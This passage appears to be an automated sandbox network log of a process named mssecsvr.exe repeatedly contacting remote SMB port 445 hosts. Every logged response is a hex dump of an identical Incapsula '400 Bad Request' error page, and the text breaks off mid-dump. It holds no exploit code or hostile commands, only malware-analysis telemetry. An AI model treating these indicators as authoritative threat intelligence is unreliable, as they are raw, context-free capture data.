26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 32 30 32 38 33 33 31 38 31 32 30 32 32 33 33 30 33 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 32 30 32 38 33 33 31 38 31 32 30 32 32 33 33 30 33 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=7-4129229-0%200NNN%20RT%281658338453768%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-20283318120223303&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-20283318120223303</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	45.60.207.33	445	192.168.2.7	61621	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:14.566127062 CEST	11607	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 696 X-Iinfo: 10-5442897-0 0NNN RT(1658338454410 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 30 2d 35 34 34 32 38 39 37 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 35 34 34 31 30 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 32 38 36 36 35 34 32 33 34 39 38 34 34 39 34 31 38 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 32 38 36 36 35 34 32 33 34 39 38 34 34 39 34 31 38 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=10-5442897-0%200NNN%20RT%281658338454410%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-28665423498449418&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-28665423498449418</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	45.60.207.33	445	192.168.2.7	61861	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:17.727509022 CEST	11622	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 695 X-Iinfo: 9-4589098-0 0NNN RT(1658338457563 9) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 39 2d 34 35 38 39 30 39 38 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 35 37 35 36 33 25 32 30 39 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 32 34 36 35 34 36 34 39 38 39 33 34 35 38 34 34 31 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 32 34 36 35 34 36 34 39 38 39 33 34 35 38 34 34 31 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=9-4589098-0%200NNN%20RT%281658338457563%209%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-24654649893458441&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-24654649893458441</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	45.60.207.34	445	192.168.2.7	61942	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:17.850652933 CEST	11625	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 695 X-Iinfo: 5-5068632-0 0NNN RT(1658338457160 5) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 35 2d 35 30 36 38 36 33 32 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 35 37 31 36 30 25 32 30 35 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 32 35 32 35 37 35 36 34 35 35 38 38 35 36 37 37 33 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 32 35 32 35 37 35 36 34 35 35 38 38 35 36 37 37 33 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=5-5068632-0%200NNN%20RT%281658338457160%205%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-25257564558856773&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-25257564558856773</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	45.60.207.34	445	192.168.2.7	62216	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:20.895028114 CEST	11634	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 696 X-Iinfo: 10-7320163-0 0NNN RT(1658338460208 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 30 2d 37 33 32 30 31 36 33 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 36 30 32 30 38 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 33 36 33 32 38 36 32 38 37 34 33 33 31 31 39 34 36 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 33 36 33 32 38 36 32 38 37 34 33 33 31 31 39 34 36 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=10-7320163-0%200NNN%20RT%281658338460208%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-36328628743311946&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-36328628743311946</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.7	50261	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	45.60.207.35	445	192.168.2.7	62218	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:21.007127047 CEST	11636	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 699 X-Iinfo: 14-29708342-0 0NNN RT(1658338460727 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 34 2d 32 39 37 30 38 33 34 32 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 36 30 37 32 37 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 34 36 30 35 37 35 35 36 39 37 37 37 38 31 30 30 36 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 34 36 30 35 37 35 35 36 39 37 37 37 38 31 30 30 36 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=14-29708342-0%200NNN%20RT%281658338460727%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-146057556977781006&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-146057556977781006</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	45.60.207.35	445	192.168.2.7	62576	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:24.052489042 CEST	11647	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 695 X-Iinfo: 7-7044792-0 0NNN RT(1658338463775 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 37 2d 37 30 34 34 37 39 32 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 36 33 37 37 35 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 33 33 34 35 37 30 31 37 38 35 33 38 33 39 36 32 33 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 33 33 34 35 37 30 31 37 38 35 33 38 33 39 36 32 33 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=7-7044792-0%200NNN%20RT%281658338463775%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-33457017853839623&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-33457017853839623</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	45.60.207.36	445	192.168.2.7	62578	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:24.172770023 CEST	11649	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 700 X-Iinfo: 14-113427815-0 0NNN RT(1658338463543 1) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 